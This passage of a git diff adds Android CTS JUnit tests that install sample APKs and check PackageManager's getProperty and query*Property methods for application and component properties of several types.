+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import static java.lang.Boolean.TRUE;
+
+import android.Manifest;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.Objects;
+
+@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
+public class PackageManagerGetPropertyTest {
+    private static PackageManager sPackageManager;
+    private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
+    private static final String PROPERTY_APP2_PACKAGE_NAME = "com.android.cts.packagepropertyapp2";
+    private static final String PROPERTY_APP3_PACKAGE_NAME = "com.android.cts.packagepropertyapp3";
+    private static final TestApp PROPERTY_APP1 =
+            new TestApp("PackagePropertyTestApp1", PROPERTY_APP1_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp1.apk");
+    private static final TestApp PROPERTY_APP2 =
+            new TestApp("PackagePropertyTestApp2", PROPERTY_APP2_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp2.apk");
+    private static final TestApp PROPERTY_APP3 =
+            new TestApp("PackagePropertyTestApp3", PROPERTY_APP3_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp3.apk");
+
+    private static void adoptShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+    }
+
+    private static void dropShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @BeforeClass
+    public static void setupClass() throws Exception {
+        sPackageManager = InstrumentationRegistry
+                .getInstrumentation()
+                .getContext()
+                .getPackageManager();
+    }
+
+    @Before
+    public void setup() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Install.single(PROPERTY_APP1).commit();
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        dropShellPermissions();
+    }
+
+    @Test
+    public void testGetApplicationProperty() throws Exception {
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RESOURCE_XML", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RESOURCE_XML", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RESOURCE_INTEGER", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RESOURCE_INTEGER", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_RESOURCE, 0x7f040000);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_BOOLEAN", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_BOOLEAN", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_BOOLEAN, TRUE);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_BOOLEAN, TRUE);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_FLOAT", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_FLOAT", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_FLOAT, 3.14f);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_FLOAT_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_FLOAT_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_FLOAT, 2.718f);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_INTEGER", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_INTEGER", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_INTEGER, 42);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_INTEGER_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_INTEGER_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_STRING, "koala");
+        }
+        {
+            final Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING_VIA_RESOURCE", PROPERTY_APP1_PACKAGE_NAME,
+                    null, PROPERTY_TYPE_STRING, "giraffe");
+        }
+    }
+
+    @Test
+    public void testGetComponentProperty() throws Exception {
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_ACTIVITY", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_ACTIVITY", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "koala activity");
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_ACTIVITY_ALIAS", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_ACTIVITY_ALIAS", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_COMPONENT", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_PROVIDER", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_PROVIDER", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_RECEIVER", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_RECEIVER", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_STRING", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_STRING", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+        }
+        {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_SERVICE", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_SERVICE", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+
+            testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", component);
+            assertProperty(testProperty,
+                    "android.cts.PROPERTY_COMPONENT", PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_RESOURCE, 0x7f040000);
+        }
+    }
+
+    @Test
+    public void testInvalidArguments() throws Exception {
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(null, "");
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty("", (String) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(null, (String) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName("", "");
+            final Property testPropertyList = sPackageManager.getProperty(null, component);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList =
+                    sPackageManager.getProperty("", (ComponentName) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+        try {
+            final Property testPropertyList =
+                    sPackageManager.getProperty(null, (ComponentName) null);
+            fail("getProperty() did not throw NullPointerException");
+        } catch (NullPointerException expected) {
+        }
+    }
+
+    @Test
+    public void testMissingNames() throws Exception {
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_COMPONENT", "com.android.cts.doesnotexist");
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP1_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName("com.android.cts.doesnotexist",
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.NotFound");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+    }
+
+    @Test
+    public void testPackageRemoval() throws Exception {
+        adoptShellPermissions();
+        Install.single(PROPERTY_APP3).commit();
+        dropShellPermissions();
+
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP3_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP3_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        dropShellPermissions();
+
+        try {
+            final Property testPropertyList = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", PROPERTY_APP3_PACKAGE_NAME);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+        try {
+            final ComponentName component = new ComponentName(PROPERTY_APP3_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService");
+            Property testProperty = sPackageManager.getProperty(
+                    "android.cts.PROPERTY_NOT_FOUND", component);
+            fail("getProperty() did not throw NameNotFoundException");
+        } catch (NameNotFoundException expected) {
+        }
+    }
+
+    private static final int PROPERTY_TYPE_BOOLEAN = 1;
+    private static final int PROPERTY_TYPE_FLOAT = 2;
+    private static final int PROPERTY_TYPE_INTEGER = 3;
+    private static final int PROPERTY_TYPE_RESOURCE = 4;
+    private static final int PROPERTY_TYPE_STRING = 5;
+    private void assertProperty(Property testProperty, String propertyName,
+            String packageName, String className, int propertyType, Object propertyValue)
+                    throws Exception {
+        assertNotNull(testProperty);
+        assertEquals(propertyName, testProperty.getName());
+        assertEquals(packageName, testProperty.getPackageName());
+        assertTrue(Objects.equals(className, testProperty.getClassName()));
+        assertEquals(propertyType, testProperty.getType());
+
+        if (propertyType == PROPERTY_TYPE_BOOLEAN) {
+            assertTrue(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Boolean boolValue = (Boolean) propertyValue;
+            if (boolValue.booleanValue()) {
+                assertTrue(testProperty.getBoolean());
+            } else {
+                assertFalse(testProperty.getBoolean());
+            }
+            // assert the other values have an appropriate default
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_FLOAT) {
+            assertFalse(testProperty.isBoolean());
+            assertTrue(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Float floatValue = (Float) propertyValue;
+            assertEquals(floatValue.floatValue(), testProperty.getFloat(), 0.0f);
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_INTEGER) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertTrue(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer integerValue = (Integer) propertyValue;
+            assertEquals(integerValue.intValue(), testProperty.getInteger());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getResourceId());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_RESOURCE) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertTrue(testProperty.isResourceId());
+            assertFalse(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final Integer resourceValue = (Integer) propertyValue;
+            assertEquals(resourceValue.intValue(), testProperty.getResourceId());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(null, testProperty.getString());
+        } else if (propertyType == PROPERTY_TYPE_STRING) {
+            assertFalse(testProperty.isBoolean());
+            assertFalse(testProperty.isFloat());
+            assertFalse(testProperty.isInteger());
+            assertFalse(testProperty.isResourceId());
+            assertTrue(testProperty.isString());
+
+            // assert the property's type is set correctly
+            final String stringValue = (String) propertyValue;
+            assertEquals(stringValue, testProperty.getString());
+            // assert the other values have an appropriate default
+            assertFalse(testProperty.getBoolean());
+            assertEquals(0.0f, testProperty.getFloat(), 0.0f);
+            assertEquals(0, testProperty.getInteger());
+            assertEquals(0, testProperty.getResourceId());
+        } else {
+            fail("Unknown property type");
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
new file mode 100644
index 0000000..9a2e310
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerQueryPropertyTest.java
@@ -0,0 +1,499 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.content.pm.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.Property;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.util.List;
+import java.util.Objects;
+
+@RunWith(JUnit4.class)
+@AppModeFull(reason = "Instant applications cannot install other packages")
+public class PackageManagerQueryPropertyTest {
+
+    private static PackageManager sPackageManager;
+    private static final String PROPERTY_APP1_PACKAGE_NAME = "com.android.cts.packagepropertyapp1";
+    private static final String PROPERTY_APP2_PACKAGE_NAME = "com.android.cts.packagepropertyapp2";
+    private static final String PROPERTY_APP3_PACKAGE_NAME = "com.android.cts.packagepropertyapp3";
+    private static final TestApp PROPERTY_APP1 =
+            new TestApp("PackagePropertyTestApp1", PROPERTY_APP1_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp1.apk");
+    private static final TestApp PROPERTY_APP2 =
+            new TestApp("PackagePropertyTestApp2", PROPERTY_APP2_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp2.apk");
+    private static final TestApp PROPERTY_APP3 =
+            new TestApp("PackagePropertyTestApp3", PROPERTY_APP3_PACKAGE_NAME, 30,
+                    false, "PackagePropertyTestApp3.apk");
+    private static void adoptShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity(
+                        Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+    }
+
+    private static void dropShellPermissions() {
+        InstrumentationRegistry
+                .getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    @BeforeClass
+    public static void setupClass() throws Exception {
+        sPackageManager = InstrumentationRegistry
+                .getInstrumentation()
+                .getContext()
+                .getPackageManager();
+    }
+
+    @Before
+    public void setup() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        Install.single(PROPERTY_APP1).commit();
+        Install.single(PROPERTY_APP2).commit();
+        dropShellPermissions();
+    }
+
+    @After
+    public void teardown() throws Exception {
+        adoptShellPermissions();
+        Uninstall.packages(PROPERTY_APP1_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP2_PACKAGE_NAME);
+        Uninstall.packages(PROPERTY_APP3_PACKAGE_NAME);
+        dropShellPermissions();
+    }
+
+    @Test
+    public void testQueryApplicationProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_RESOURCE_XML");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RESOURCE_XML",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_RESOURCE, 0x7f060000);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_INTEGER_VIA_RESOURCE");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_INTEGER_VIA_RESOURCE",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_STRING2");
+            assertEquals(1, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING2",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    null,
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryApplicationProperty("android.cts.PROPERTY_DOES_NOT_EXIST");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryActivityProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_ACTIVITY");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_ACTIVITY_ALIAS");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY_ALIAS",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_ACTIVITY_ALIAS",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_COMPONENT");
+            assertEquals(3, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_COMPONENT",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivityAlias",
+                    PROPERTY_TYPE_BOOLEAN, true);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_STRING");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "koala activity");
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyActivity",
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryActivityProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryProviderProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryProviderProperty("android.cts.PROPERTY_PROVIDER");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_PROVIDER",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_PROVIDER",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyProvider",
+                    PROPERTY_TYPE_STRING, "giraffe");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryProviderProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryReceiverProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_RECEIVER");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RECEIVER",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_RECEIVER",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_STRING");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+            assertProperty(testPropertyList, "android.cts.PROPERTY_STRING",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyReceiver",
+                    PROPERTY_TYPE_STRING, "koala receiver");
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryReceiverProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(0, testPropertyList.size());
+        }
+    }
+
+    @Test
+    public void testQueryServiceProperties() throws Exception {
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_SERVICE");
+            assertEquals(2, testPropertyList.size());
+            assertProperty(testPropertyList, "android.cts.PROPERTY_SERVICE",
+                    PROPERTY_APP1_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+            assertProperty(testPropertyList, "android.cts.PROPERTY_SERVICE",
+                    PROPERTY_APP2_PACKAGE_NAME,
+                    "com.android.cts.packagepropertyapp.MyService",
+                    PROPERTY_TYPE_INTEGER, 123);
+        }
+        {
+            final List<Property> testPropertyList = sPackageManager
+                    .queryServiceProperty("android.cts.PROPERTY_COMPONENT");
+            assertEquals(2, testPropertyList.size());
